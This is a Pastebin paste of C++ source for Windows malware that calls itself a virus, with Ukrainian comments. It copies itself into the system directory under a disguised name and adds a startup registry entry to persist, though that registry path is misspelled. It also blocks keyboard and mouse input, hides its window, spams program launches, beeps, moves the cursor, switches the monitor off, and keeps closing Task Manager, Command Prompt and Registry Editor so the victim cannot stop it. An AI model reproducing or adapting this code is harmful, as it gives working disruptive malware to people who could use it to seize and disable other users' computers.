Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>//підключення бібліотек для роботи функцій виводу cout
- #include <stdio.h>//заголовний файл
- #include <windows.h>//Бібіліотека директиви Windows
- #include <conio.h>// затримка DOS вікна
- #include <ctime>//виконання доповнених функцій
- int random, Freq, Dur, X, Y;//ініціалізація цілого типу
- HWND mywindow, TaskMgr, CMD, Regedit;
- char Notepad[MAX_PATH] = "notepad.exe";
- char MineSweeper[MAX_PATH] = "winmine.exe";
- char Hearts[MAX_PATH] = "mshearts.exe";
- char Website[MAX_PATH] = "http:\\www.google.com";
- void SetUp();
- void Run(int ID);
- void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();
- DWORD WINAPI DestroyWindows(LPVOID);//знищення Windows
- int main()
- {
- srand(time(0));
- random = rand() % 6;
- system("title :.Virus.:");
- BlockInput(true);
- SetUp();
- BlockInput(false);
- CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
- while (1)
- {
- Run(random);
- Sleep(10);
- }
- }
- void SetUp()
- {
- char system[MAX_PATH];
- char pathtofile[MAX_PATH];
- HMODULE GetModH = GetModuleHandle(NULL);
- GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile));
- GetSystemDirectory(system, sizeof(system));
- strcat(system, "\\winminer.exe");
- CopyFile(pathtofile, system, false);
- HKEY hKey;
- RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Mcft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
- RegSetValueEx(hKey, "SetUp", 0, REG_SZ, (const unsigned char*)system, sizeof(system));
- RegCloseKey(hKey);
- mywindow = FindWindow(NULL, ":.Virus.:");
- printf ("You are Doomed Cyber root");
- Sleep(1000);
- ShowWindow(mywindow, false);
- }
- void Run(int ID)
- {
- if (ID == 1)
- {
- BlockInput(true);
- }
- else if (ID == 2)
- {
- Beeper();
- }
- else if (ID == 3)
- {
- OpenStuff();
- }
- else if (ID == 4)
- {
- Hibernation();
- }
- else if (ID == 5)
- {
- CrazyMouse();
- }
- else
- {
- BlockInput(true);
- Beeper();
- OpenStuff();
- CrazyMouse();
- }
- }
- void Beeper()
- {
- Freq = rand() % 2001;
- Dur = rand() % 301;
- Beep(Freq, Dur);
- }
- void OpenStuff()
- {
- ShellExecute(NULL, "open", Notepad, NULL, NULL, SW_MAXIMIZE);
- ShellExecute(NULL, "open", MineSweeper, NULL, NULL, SW_MAXIMIZE);
- ShellExecute(NULL, "open", Hearts, NULL, NULL, SW_MAXIMIZE);
- ShellExecute(NULL, "open", Website, NULL, NULL, SW_MAXIMIZE);
- }
- void Hibernation()
- {
- Sleep(1000);
- SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
- }
- void CrazyMouse()
- {
- X = rand() % 801;
- Y = rand() % 601;
- SetCursorPos(X, Y);
- }
- DWORD WINAPI DestroyWindows(LPVOID)
- {
- while (1)
- {
- TaskMgr = FindWindow(NULL, "Windows Task Manager");
- CMD = FindWindow(NULL, "Command Prompt");
- Regedit = FindWindow(NULL, "Registry Editor");
- if (TaskMgr != NULL)
- {
- SetWindowText(TaskMgr, "You Suck Balls Superman");
- PostMessage(TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- if (CMD != NULL)
- {
- SetWindowText(CMD, "You Suck Balls Superman");
- PostMessage(CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- if (Regedit != NULL)
- {
- SetWindowText(Regedit, "You Suck Balls Superman");
- PostMessage(Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- Sleep(10);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment